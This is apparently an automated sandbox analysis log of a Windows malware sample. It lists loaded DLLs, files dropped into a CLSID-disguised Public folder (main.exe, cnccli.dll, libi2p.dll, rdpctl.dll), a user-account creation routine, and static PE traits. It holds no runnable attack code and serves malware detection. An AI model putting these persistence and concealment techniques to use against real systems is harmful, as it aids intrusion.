Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: ntmarta.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samlib.dll

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

File written: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 11950592 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x8b1200
Source: file.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x100200

Source:	Binary string: RfxVmt.pdb source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, T9229YlC.29.dr, update.pkg.18.dr
Source:	Binary string: RfxVmt.pdbGCTL source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, T9229YlC.29.dr, update.pkg.18.dr

Source: rfxvmt.dll.29.dr

Static PE information: 0xE004CD23 [Sat Feb 5 03:04:03 2089 UTC]

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CEFF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

13_2_00007FF7E3CEFF1F

Source: file.exe	Static PE information: section name: .didata
Source: lr75sq5smrngkif9fpn.exe.8.dr	Static PE information: section name: .xdata
Source: yhar2he6rpt6n0h1w6rh.exe.8.dr	Static PE information: section name: .xdata
Source: main.exe.18.dr	Static PE information: section name: .xdata
Source: rdpctl.dll.29.dr	Static PE information: section name: .xdata
Source: samctl.dll.29.dr	Static PE information: section name: .xdata
Source: prgmgr.dll.29.dr	Static PE information: section name: .xdata
Source: dwlmgr.dll.29.dr	Static PE information: section name: .xdata
Source: cnccli.dll.29.dr	Static PE information: section name: .xdata
Source: libi2p.dll.29.dr	Static PE information: section name: .xdata
Source: evtsrv.dll.29.dr	Static PE information: section name: .xdata
Source: termsrv32.dll.29.dr	Static PE information: section name: .xdata
Source: UEptccWa.29.dr	Static PE information: section name: .xdata
Source: nHqxqt5L.29.dr	Static PE information: section name: .xdata
Source: fQQIqQM0.29.dr	Static PE information: section name: .xdata
Source: x8eec9dQ.29.dr	Static PE information: section name: .xdata
Source: miECvZvT.29.dr	Static PE information: section name: .xdata
Source: TLbqzKsW.29.dr	Static PE information: section name: .xdata
Source: e5xaOqBz.29.dr	Static PE information: section name: .xdata
Source: VPIOcgIO.29.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C120E pushfd ; retf	6_2_032C120F
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032DF262 push es; retf	6_2_032DF263
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C6769 push esi; ret	6_2_032C676B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472B8 push rsp; ret	29_2_00007FFB227472B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472BC push rsp; ret	29_2_00007FFB227472BD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472C4 push rsp; ret	29_2_00007FFB227472C5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472CC push rsp; ret	29_2_00007FFB227472CD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472D0 push rsp; ret	29_2_00007FFB227472D1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472D4 push rsp; ret	29_2_00007FFB227472D5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472D8 push rsp; ret	29_2_00007FFB227472D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472DC push rsp; ret	29_2_00007FFB227472DD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472E0 push rsp; ret	29_2_00007FFB227472E1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472E4 push rsp; ret	29_2_00007FFB227472E5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227472E8 push rsp; ret	29_2_00007FFB227472E9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2274726F push qword ptr [rsi]; ret	29_2_00007FFB22747275
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2274727C push rsp; ret	29_2_00007FFB2274727D
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479B3 push qword ptr [00007FFB58747884h]; retf	29_2_00007FFB227479B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479BB push qword ptr [00007FFB5874788Ch]; retf	29_2_00007FFB227479C1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479C3 push qword ptr [00007FFB58747894h]; retf	29_2_00007FFB227479C9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479CB push qword ptr [00007FFB5874789Ch]; retf	29_2_00007FFB227479D1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479D3 push qword ptr [00007FFB587478A4h]; retf	29_2_00007FFB227479D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479E7 push qword ptr [00007FFB587478B8h]; retf	29_2_00007FFB227479ED
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479EF push qword ptr [00007FFB587478C0h]; retf	29_2_00007FFB227479F5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479F7 push qword ptr [00007FFB587478C8h]; retf	29_2_00007FFB227479FD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227479FF push qword ptr [00007FFB587478D0h]; retf	29_2_00007FFB22747A05
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22747A07 push qword ptr [00007FFB587478D8h]; retf	29_2_00007FFB22747A0D
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22747A0F push qword ptr [00007FFB587478E0h]; retf	29_2_00007FFB22747A15
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22747A17 push qword ptr [00007FFB297478E8h]; retf	29_2_00007FFB22747A1D

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FFB2270870B strlen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strlen,NetUserAdd,CreateProfile,

29_2_00007FFB2270870B

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\UEptccWa	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\x8eec9dQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\VPIOcgIO	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\e5xaOqBz	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\nHqxqt5L	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\TLbqzKsW	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\T9229YlC	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\miECvZvT	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fQQIqQM0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\UEptccWa	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\x8eec9dQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\VPIOcgIO	Jump to dropped file
